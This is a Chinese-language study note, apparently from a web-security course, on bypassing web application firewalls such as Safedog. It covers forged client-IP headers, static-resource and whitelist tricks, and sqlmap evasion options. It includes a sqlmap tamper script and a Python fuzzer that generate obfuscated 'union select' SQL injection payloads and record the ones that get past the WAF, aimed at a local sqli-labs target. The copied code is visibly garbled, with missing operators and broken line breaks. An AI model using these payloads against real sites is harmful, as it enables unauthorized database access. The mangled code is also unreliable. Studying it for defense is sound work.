深入WAF绕过知识
小迪v19
是我太菜??,但时间真的不多了,要完成一个项目,还记笔记就是太乱了,不发出来丢人了,以后有时间整理
φ(゜▽゜*)?
https://www.bilibili.com/video/BV1JZ4y1c7ro?p=18
v18还没写完( ̄y▽ ̄)╭ Ohohoho.....

其它绕过方式补充
1.ip白名单
从网络层接收ip地址的话没法伪造,如果是获取客户端的ip,可能存在伪ip绕过的情况。
修改http的header来by pass waf
X-forwarded-for;
X-remote-IP;
X-originating-IP;
x-remote-addr;
X-Real-ip
2.静态资源
waf可能对一些静态资源不检查(.js、.jpg、.swf、.css、文本等)
http://127.0.0.1/sqlilabs/Less-2/index.php/x.txt?id=1
可以正常显示数据,图片没有正常显示,利用这个方法,waf以为?id是在下x,txt的参数,所以不检查。

最后没有绕过WAF
3.url白名单
为了防止waf误拦管理员登录做敏感操作的url,比如路径中有admin/manager/system,只要url含有这些字符串就不做拦截
比如网站对某个文件不做拦截,配合上一个静态资源知识点...

4.爬虫白名单
网站会对一些搜索引擎爬虫添加白名单方便收入引擎,通过伪造数据包假扮搜索引擎。
开启流量CC防护

如果不开延时的话会被拦截。


如果扫描的时候伪造UserAgent提交的内容,我们可以伪装成爬虫尝试绕过
各搜索引擎爬虫
Status Code:状态码 https://blog.csdn.net/qq_38410428/article/details/82726722

安全狗没有拦截
fuzz
https://www.jianshu.com/p/ba3f8f1815ad?utm_campaign=haruki&utm_content=note&utm_medium=reader_share&utm_source=qq
!/usr/bin/envpython
""" Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)
Seethefile'LICENSE'forcopyingpermission """import os
from lib.core.common import singleTimeWarnMessage from lib.core.enums
import DBMS from lib.core.enums import PRIORITYpriority=PRIORITY.HIGHEST
def dependencies(): singleTimeWarnMessage("tamper script '%s' is only
meant to be run against
%s"%(os.path.basename(file).split(".")[0],DBMS.MYSQL))def tamper(payload,**kwargs):
%23a%0aunion/!44575select/1,2,3 if payload:
payload=payload.replace("union","%23a%0aunion") payload=payload.replace("select","/*!44575select*/") payload=payload.replace("%20","%23a%0a") payload=payload.replace("","%23a%0a") payload=payload.replace("database()","database%23a%0a()") return payloadimport requests,time
url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1' union='union'
select='select' num='1,2,3' a={'%0a','%23'} aa={'x'} aaa={'%0a','%23'}
b='/!' c='/' def bypass(): for xiaodi in a: for xiaodis in aa:
for xiaodiss in aaa:
for two in range(44500,44600):
urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiao diss+num
#urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xia
odiss+num
try:
result=requests.get(urls).text
len_r=len(result)
if (result.find('safedog')-1):
#print('bypass url addreess:'+urls+'|'+str(len_r))
print('bypass url addreess:'+urls+'|'+str(len_r))
if len_r715:
fp = open('url.txt','a+')
fp.write(urls+'\n')
fp.close()
except Exception as err:
print('connecting error')
time.sleep(0.1) if__name__=='main': print('fuzz strat!') bypass()
以下在偷懒??
阿里云盾
。。。。
sqlmap
https://blog.csdn.net/qq_34444097/article/details/82717357
使用sqlmap直接扫带waf的网站会被拦截,需要配合使用编写temper脚本和抓包工具。
sqlmap缓存目录

按照自带的temper脚本编写
使用脚本
--temper=xxx.py
使用 代理 --proxy=http://127.0.0.1:8080
只用脚本还是会被拦截,使用抓包工具查看发现user-agent有sqlmap


因为waf可以识别黑客工具,使用抓包工具修改user-agent,
或者使用sqlmap自定义user-agent,
还有白名单,
或者代理池
使用sqlmap 随机头
--random-agent
sqlmap自定义请求头
--user-Agent=" "
注意使用延时
--delay
如果其它地方出现了sqlmap指纹头,该怎么修改

加个*丢进intrude模块

不过麻烦,因为get是一直变
可以写在txt里 加 -r

还可以中转

待定学习

